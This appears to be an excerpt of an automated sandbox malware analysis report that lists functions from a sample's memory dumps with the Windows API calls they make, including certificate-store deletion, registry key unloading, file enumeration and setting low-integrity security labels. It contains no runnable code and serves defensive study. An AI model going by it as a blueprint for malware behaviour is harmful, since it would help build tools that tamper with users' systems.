    • CharNextW.USER32 ref: 0040879B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC0BDC, Relevance: 7.5, APIs: 5, Instructions: 36
    APIs
    • CertOpenSystemStoreW.CRYPT32(00000000,00BA71B8,?,?,00BA8470), ref: 00BC0BE7
    • CertDuplicateCertificateContext.CRYPT32(?,?,00000000,?,00D9FFB0,?,?,00BA8470), ref: 00BC0C00
    • CertDeleteCertificateFromStore.CRYPT32(?,?,?,00000000,?,00D9FFB0,?,?,00BA8470), ref: 00BC0C0B
    • CertEnumCertificatesInStore.CRYPT32(?,00000000,?,00D9FFB0,?,?,00BA8470), ref: 00BC0C13
    • CertCloseStore.CRYPT32(?,?,?,?,?,?,00000000,?,00D9FFB0,?,?,00BA8470), ref: 00BC0C1F
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00420BDC, Relevance: 7.5, APIs: 5, Instructions: 36
    APIs
    • CertOpenSystemStoreW.CRYPT32(00000000,004071B8,?,?,00408470), ref: 00420BE7
    • CertDuplicateCertificateContext.CRYPT32(?,?,00000000,?,?,?,?,00408470), ref: 00420C00
    • CertDeleteCertificateFromStore.CRYPT32(?,?,?,00000000,?,?,?,?,00408470), ref: 00420C0B
    • CertEnumCertificatesInStore.CRYPT32(?,00000000,?,?,?,?,00408470), ref: 00420C13
    • CertCloseStore.CRYPT32(?,?,?,?,?,?,00000000,?,?,?,?,00408470), ref: 00420C1F
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004143AE, Relevance: 7.5, APIs: 5, Instructions: 32
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BCC7B3, Relevance: 7.5, APIs: 5, Instructions: 32
    APIs
    • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00BCC7B9
    • ReleaseMutex.KERNEL32 ref: 00BCC7ED
    • IsWindow.USER32(?), ref: 00BCC7F4
    • PostMessageW.USER32(?,00000215,00000000,?), ref: 00BCC80E
    • SendMessageW.USER32(?,00000215,00000000,?), ref: 00BCC816
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042C7B3, Relevance: 7.5, APIs: 5, Instructions: 32
    APIs
    • WaitForSingleObject.KERNEL32(?,000000FF), ref: 0042C7B9
    • ReleaseMutex.KERNEL32 ref: 0042C7ED
    • IsWindow.USER32(?), ref: 0042C7F4
    • PostMessageW.USER32(?,00000215,00000000,?), ref: 0042C80E
    • SendMessageW.USER32(?,00000215,00000000,?), ref: 0042C816
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004090A5, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 150
    APIs
    • ChildWindowFromPoint.USER32 ref: 004090A5
    • CheckMenuItem.USER32 ref: 004090AB
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00415045, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 105
    APIs
    • MapAndLoad.IMAGEHLP(K8P,y6uNRR,?,00000000,00000000), ref: 0041516D
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0041505C, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 103
    APIs
    • MapAndLoad.IMAGEHLP(K8P,y6uNRR,?,00000000,00000000), ref: 0041516D
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 004093EC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103
    APIs
    • MapViewOfFile.KERNEL32 ref: 004093EC
    • GetMenu.USER32 ref: 004093F2
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00409632
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BBC8C5, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 103
    APIs
      • Part of subcall function 00BB977E: GetTickCount.KERNEL32 ref: 00BB977E
    • CharUpperW.USER32(?,?,.exe,00000000), ref: 00BBC9E6
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041C8C5, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 103
    APIs
      • Part of subcall function 0041977E: GetTickCount.KERNEL32 ref: 0041977E
    • CharUpperW.USER32(?,?,00429FDA,00000000), ref: 0041C9E6
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004091C5, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97
    APIs
    • GetDlgItemTextW.USER32 ref: 004091C5
    • #6.COMCTL32 ref: 004091CB
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040FA3E, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92
    APIs
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC3AE1, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88
    APIs
      • Part of subcall function 00BBC6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00BBC6C6
      • Part of subcall function 00BBC6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00BBC748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00BC3B48
    • SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,?), ref: 00BC3B9A
      • Part of subcall function 00BBDD7A: FindFirstFileW.KERNEL32(?,?), ref: 00BBDDB9
      • Part of subcall function 00BBDD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00BBDDE0
      • Part of subcall function 00BBDD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00BBDE2A
      • Part of subcall function 00BBDD7A: Sleep.KERNEL32(00000000), ref: 00BBDE57
      • Part of subcall function 00BBDD7A: Sleep.KERNEL32(00000000), ref: 00BBDE87
      • Part of subcall function 00BBDD7A: FindNextFileW.KERNEL32(?,?), ref: 00BBDEB5
      • Part of subcall function 00BBDD7A: FindClose.KERNEL32(?), ref: 00BBDEC7
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC43C2, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88
    APIs
      • Part of subcall function 00BBC6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00BBC6C6
      • Part of subcall function 00BBC6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00BBC748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00BC4429
    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00BC447B
      • Part of subcall function 00BBDD7A: FindFirstFileW.KERNEL32(?,?), ref: 00BBDDB9
      • Part of subcall function 00BBDD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00BBDDE0
      • Part of subcall function 00BBDD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00BBDE2A
      • Part of subcall function 00BBDD7A: Sleep.KERNEL32(00000000), ref: 00BBDE57
      • Part of subcall function 00BBDD7A: Sleep.KERNEL32(00000000), ref: 00BBDE87
      • Part of subcall function 00BBDD7A: FindNextFileW.KERNEL32(?,?), ref: 00BBDEB5
      • Part of subcall function 00BBDD7A: FindClose.KERNEL32(?), ref: 00BBDEC7
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004243C2, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88
    APIs
      • Part of subcall function 0041C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 0041C6C6
      • Part of subcall function 0041C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 0041C748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00424429
    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0042447B
      • Part of subcall function 0041DD7A: FindFirstFileW.KERNEL32(?,?), ref: 0041DDB9
      • Part of subcall function 0041DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 0041DDE0
      • Part of subcall function 0041DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 0041DE2A
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE57
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE87
      • Part of subcall function 0041DD7A: FindNextFileW.KERNEL32(?,?), ref: 0041DEB5
      • Part of subcall function 0041DD7A: FindClose.KERNEL32(?), ref: 0041DEC7
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00423AE1, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88
    APIs
      • Part of subcall function 0041C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 0041C6C6
      • Part of subcall function 0041C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 0041C748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00423B48
    • SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,?), ref: 00423B9A
      • Part of subcall function 0041DD7A: FindFirstFileW.KERNEL32(?,?), ref: 0041DDB9
      • Part of subcall function 0041DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 0041DDE0
      • Part of subcall function 0041DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 0041DE2A
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE57
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE87
      • Part of subcall function 0041DD7A: FindNextFileW.KERNEL32(?,?), ref: 0041DEB5
      • Part of subcall function 0041DD7A: FindClose.KERNEL32(?), ref: 0041DEC7
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00415BAC, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 77
    APIs
    • MapAndLoad.IMAGEHLP(yaoffu,wzU,?,00000000,00000000), ref: 00415BCB
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00415E29
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040FAC3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 66
    APIs
    • LocalAlloc.KERNEL32 ref: 0040FAC3
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040FF22, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 62
    APIs
    • LocalSize.KERNEL32 ref: 0040FF22
    • MapAndLoad.IMAGEHLP(S638Y4,l3Z9EH,?,00000000,00000000), ref: 0040FFF7
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00409709, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
    APIs
    • RegisterClassExW.USER32 ref: 00409709
    • IsClipboardFormatAvailable.USER32 ref: 0040970F
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00409C18, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54
    APIs
    • SetEndOfFile.KERNEL32 ref: 00409C18
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BA80FF, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 52
    APIs
      • Part of subcall function 00BB834E: MultiByteToWideChar.KERNEL32(00BA815B,00000000,?,?,?,?), ref: 00BB8365
      • Part of subcall function 00BBDED6: PathCombineW.SHLWAPI(?,?,?), ref: 00BBDEF5
    • PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00BA817A
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004080FF, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 52
    APIs
      • Part of subcall function 0041834E: MultiByteToWideChar.KERNEL32(0040815B,00000000,?,?,?,?), ref: 00418365
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
    • PathRenameExtensionW.SHLWAPI(?,.dat), ref: 0040817A
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC8964, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
    APIs
    • PathRemoveFileSpecW.SHLWAPI(00BD4398), ref: 00BC89A0
    • PathRenameExtensionW.SHLWAPI(?,.tmp), ref: 00BC89C0
      • Part of subcall function 00BBDC58: PathSkipRootW.SHLWAPI(?), ref: 00BBDC63
      • Part of subcall function 00BBDC58: GetFileAttributesW.KERNEL32(?), ref: 00BBDC8B
      • Part of subcall function 00BBDC58: CreateDirectoryW.KERNEL32(?,00000000), ref: 00BBDC99
      • Part of subcall function 00BBBBC6: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;CIOI;NRNWNX;;;LW),00000001,?,00000000), ref: 00BBBBE5
      • Part of subcall function 00BBBBC6: GetSecurityDescriptorSacl.ADVAPI32(?,?,00000000,00000000), ref: 00BBBC01
      • Part of subcall function 00BBBBC6: SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000010,00000000,00000000,00000000,00000000), ref: 00BBBC18
      • Part of subcall function 00BBBBC6: LocalFree.KERNEL32(?), ref: 00BBBC27
    • GetFileAttributesW.KERNEL32(00BD4190), ref: 00BC89E3
      • Part of subcall function 00BA80FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00BA817A
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00428964, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
    APIs
    • PathRemoveFileSpecW.SHLWAPI(00434398), ref: 004289A0
    • PathRenameExtensionW.SHLWAPI(?,.tmp), ref: 004289C0
